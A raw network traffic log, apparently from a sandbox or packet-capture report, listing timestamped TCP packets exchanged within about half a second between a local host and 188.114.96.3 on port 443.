Jan 9, 2025 09:31:18.586666107 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.586694002 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.586750984 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.593046904 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.598818064 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.598856926 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.598932028 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.598954916 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.600780964 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.604799986 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.610992908 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.611026049 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.611094952 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.611110926 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.612822056 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.617068052 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.623207092 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.623240948 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.623301983 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.623322010 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.623430967 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.629189968 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.635445118 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.635477066 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.635528088 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.635538101 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.635586023 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.672024012 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.672082901 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.672187090 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.672204971 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.677949905 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.677998066 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.678005934 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.689224958 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.689285040 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.689300060 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.689388037 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.689477921 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.689485073 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.695864916 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.695924044 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.695935965 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.702044010 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.702099085 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.702110052 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.709525108 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.709559917 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.709599018 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.709609032 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.709629059 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.716311932 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.716392040 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.716403008 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.720979929 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.721040964 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.721049070 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.724986076 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.725034952 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.725042105 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.746402025 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.746439934 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.746473074 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.746484995 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.746505022 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.746891975 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.746922970 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.746939898 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.746946096 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.746978045 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.752332926 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.752382994 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.752391100 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.754533052 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.754587889 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.754594088 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.759361029 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.759409904 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.759414911 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.764234066 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.764286041 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.764291048 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.772231102 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.772275925 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.772288084 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.772295952 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.772320986 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.778031111 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.778105021 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.778110027 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.781361103 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.781436920 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.781443119 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.786508083 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.786561966 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.786567926 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.791059971 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.791094065 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.791148901 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.791160107 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.791183949 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.793926954 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.793977022 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.793983936 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.798051119 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.798115015 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.798122883 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.798407078 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.800684929 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.800721884 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.800818920 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.800826073 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.803848982 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.803913116 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.803919077 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.806243896 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.806303978 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.806309938 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.808888912 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.808942080 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.808948994 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.811780930 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.811830044 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.811836004 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.814539909 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.814625978 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.814632893 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.819897890 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.819937944 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.819988012 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.820002079 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.820019007 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.822318077 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.822374105 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.822382927 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.825062037 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.825297117 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.825301886 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.830655098 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.830729008 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.830735922 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.832653046 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.832762957 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.832770109 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.838179111 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.838246107 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.838251114 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.840374947 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.840424061 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.840430975 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.843708992 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.843770981 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.843776941 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.845366001 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.845546007 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.845550060 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.847769022 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.847881079 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.847887039 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.851747990 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.851809025 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.851818085 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.852505922 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.852587938 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.852592945 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.854965925 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.855006933 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.855012894 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.857503891 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.857548952 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.857554913 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.859622955 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.859757900 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.859767914 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.862272024 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.862334967 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.862341881 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.868594885 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.868801117 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.868808031 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.869579077 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.869641066 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.869646072 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.870929003 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.870975018 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.870980024 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.872253895 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.872302055 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.872308016 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.876621008 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.876657963 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.876671076 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.876678944 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.876698017 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.877186060 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.877230883 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.877238035 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.880696058 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.880774975 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.880780935 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.883609056 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.883670092 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.883677006 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.888561010 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.888631105 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.888638020 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.893959999 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.893995047 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.894030094 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.894043922 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.894198895 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.898156881 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.898335934 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.898343086 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.898832083 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.898885012 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.898890018 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.898938894 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.900120020 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.900185108 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.901633024 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.901686907 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.903551102 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.903610945 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.903923988 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.903971910 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.906565905 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.906619072 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.906625986 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.908117056 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.908178091 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.908186913 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.910824060 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.910882950 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.910888910 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.911837101 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.911889076 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.911894083 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.914030075 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.914083004 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.914088964 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.915926933 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.916001081 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.916019917 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.917443991 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.917499065 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.917525053 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.919676065 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.919753075 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.919764042 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.919774055 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.919804096 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.919810057 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.925007105 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.925048113 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.925071955 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.925084114 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.925309896 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.925323009 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.932179928 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.932281017 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.932291031 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.932394028 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.932466030 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.932471991 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.939287901 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.939364910 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.939373016 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.939522982 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.939558029 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.939575911 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.939583063 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.939605951 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.946808100 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.946854115 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.946857929 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.946866989 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.946901083 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.946914911 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.946921110 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.946948051 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.954807043 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.954927921 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.954933882 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.955027103 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.955085039 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.955091000 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.958960056 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.959013939 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.959019899 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.959188938 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.959254980 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.959260941 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.964091063 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.964145899 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.964178085 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.964184046 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.964227915 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.964626074 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.964679003 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.970221996 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.970257998 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.970299959 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.970309973 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.970329046 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.970496893 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.970623016 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.970628977 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.980479956 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.980526924 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.980582952 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.980609894 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.980624914 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.980660915 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.980665922 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.980671883 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.980740070 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.984447002 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.984494925 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.984502077 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.984827042 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.984885931 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.984890938 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.984982967 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.986814022 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.986880064 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.987018108 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.987050056 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.987072945 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.987076998 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.987176895 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.987180948 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.990951061 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.990989923 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.991014004 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.991020918 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.991049051 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.991069078 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.991071939 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.995047092 CET	443	49723	188.114.96.3	192.168.2.6
